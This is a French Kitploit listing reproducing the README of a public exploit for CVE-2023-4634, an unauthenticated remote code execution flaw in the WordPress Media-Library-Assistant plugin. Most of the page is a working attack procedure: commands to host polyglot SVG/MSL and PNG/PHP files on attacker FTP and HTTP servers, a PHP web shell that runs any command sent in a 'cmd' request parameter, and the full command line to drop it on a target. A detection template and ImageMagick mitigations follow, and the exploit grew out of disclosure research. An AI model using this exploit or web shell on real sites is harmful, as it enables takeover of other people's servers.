Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-4634 — CVE-2023-4634 | Kitploit
Outils/GitHubGitHub/patrowl/cve-2023-4634
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubpatrowl/cve-2023-4634

CVE-2023-4634

CVE-2023-4634

Voir le dépôt
4793il y a 5 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-4634

Exploit RCE pour le plugin WordPress Media-Library < 3.10 (CVE-2023-4634)

Informations

Patrowl a découvert une vulnérabilité RCE non authentifiée dans le plugin WordPress Media-Library-Assistant en version < 3.10. L'exploit n'est pas trivial et nécessite une petite configuration expliquée ci-dessous.

La découverte et l'exploitation globale de l'exploit peuvent être trouvées sur notre blog : https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

Prérequis d'exploitation

  • WordPress installé (toutes les versions fonctionnent)
  • Media-Library-Assistant en version < 3.10 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • Bibliothèques Imagick installées sur le serveur
  • Configuration par défaut d'Imagick
  • Connectivité réseau externe

Détection

La détection de la vulnérabilité peut être effectuée en utilisant une vérification DNS basique sur un serveur FTP distant. Le modèle nuclei peut être trouvé ici : CVE-2023-4634.yaml.

root@kitploit:~
nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

L'exploitation complète et le RCE peuvent ensuite être réalisés en utilisant le script CVE-2023-4634.py.

Remarque : Vous pouvez également utiliser le script pour déclencher une exploitation plus simple comme un LFI, il suffit de forger un SVG spécifique et de l'héberger sur votre FTP, suivez les recommandations de notre blog.

Utilisation

Installer les dépendances :

root@kitploit:~
python3 -m pip install -r requirements.txt

Ensuite

root@kitploit:~
python3 CVE-CVE-2023-4634.py -h

Affiche :

root@kitploit:~
usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10

options:
  -h, --help            show this help message and exit
  --target [TARGET]     URL of the Target, ex http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        URL of the remote FTP use to store SVGs files, ex ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        Name of the external polyglot SVG/MSL file used (for generation or final usage), example : poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg
  --concurrency [CONCURRENCY]
                        Number of concurrent long SVG conversion requests to make ( default 100 )
  --generatesvg, --no-generatesvg
                        Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory
  --webserverpath WEBSERVERPATH
                        Path of the webserver on the victim server (could be found with the LFI and wp-config file) example: /var/www/html
  --exploitname EXPLOITNAME
                        Dropped exploit name example: pwned.php
  --generatepng, --no-generatepng
                        Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder
  --payload PAYLOAD     PHP Payload to integrate in the PNG file ex: <?php phpinfo(); ?>

Maintenant, pour que cela fonctionne, vous devez configurer sur des hôtes distants :

  • 1 serveur FTP hébergeant les polyglots SVG/MSL et les exploiteurs SVG/VID
  • 1 serveur HTTP hébergeant le polyglot PNG/MSL

Avant l'exploitation

Préparer votre serveur FTP

Vous pouvez exécuter un simple serveur FTP en utilisant Python :

root@kitploit:~
python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Une fois configuré, vous devez ajouter à votre serveur FTP les fichiers polyglot SVG/MSL et tous les exploiteurs SVG. Vous pouvez facilement les générer en utilisant le script :

root@kitploit:~
python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg  --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png  --webserverpath /var/www/html --exploitname pwned.php

Cela générera dans le dossier remote_ftp :

  • poly.svg, un polyglot SVG/MSL avec une adresse non routée qui prendra beaucoup de temps à être générée par la cible, avec un MSL qui stockera le png_polyglot_name depuis remotehttp vers le chemin de destination (webserverpath + exploitname)
  • les 64 exploiteurs SVG/VID utilisant la nomenclature exploiter_FUZZ où FUZZ sera remplacé par le caractère bruteforcé

Notez que le script copiera également le fichier svg avec [0] à la fin (poly.svg et poly.svg[0]). Les deux fichiers sont nécessaires pour que l'exploitation fonctionne.

Placez tous les fichiers générés (normaux et [0]) dans le répertoire racine de votre serveur FTP. Cela devrait ressembler à ceci :

root@kitploit:~
ls remote_ftp/
exploiter_-.svg    exploiter_3.svg    exploiter_7.svg    exploiter_B.svg    exploiter_F.svg    exploiter_J.svg    exploiter_N.svg    exploiter_R.svg    exploiter_V.svg    exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg    exploiter_4.svg    exploiter_8.svg    exploiter_C.svg    exploiter_G.svg    exploiter_K.svg    exploiter_O.svg    exploiter_S.svg    exploiter_W.svg    exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg    exploiter_5.svg    exploiter_9.svg    exploiter_D.svg    exploiter_H.svg    exploiter_L.svg    exploiter_P.svg    exploiter_T.svg    exploiter_X.svg    poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg    exploiter_6.svg    exploiter_A.svg    exploiter_E.svg    exploiter_I.svg    exploiter_M.svg    exploiter_Q.svg    exploiter_U.svg    exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

Préparer votre serveur HTTP

Vous pouvez exécuter un simple serveur HTTP en utilisant Python :

root@kitploit:~
python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Vous devez simplement ajouter votre fichier polyglot PNG/PHP. Vous pouvez également utiliser le script pour générer le fichier et inclure la charge utile souhaitée :

root@kitploit:~
python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png

Exploitation

Maintenant que le serveur FTP distant et le serveur HTTP distant sont prêts, vous pouvez lancer l'exploitation sur la cible vulnérable (le script vérifiera si la cible utilise une version vulnérable du plugin). Exemple :

root@kitploit:~
python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png  --exploitname pwned.php

Et si tout se passe bien, vous devriez avoir votre exploitname déposé dans le webserverpath (cela dépend de la configuration de votre exploit). Profitez-en !

Vidéo

J'ai réalisé une vidéo.

https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f

Atténuations

  • Mettez à jour vers la dernière version du plugin (https://fr.wordpress.org/plugins/media-library-assistant/)
  • Renforcez la politique de sécurité d'Imagick en désactivant les fichiers dangereux pouvant être convertis, tels que : "MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, VID" Cela peut être fait en ajoutant
root@kitploit:~
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MSVG" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="VID" />

dans

root@kitploit:~
/etc/ImageMagick-X/policy.xml
Télécharger l’outil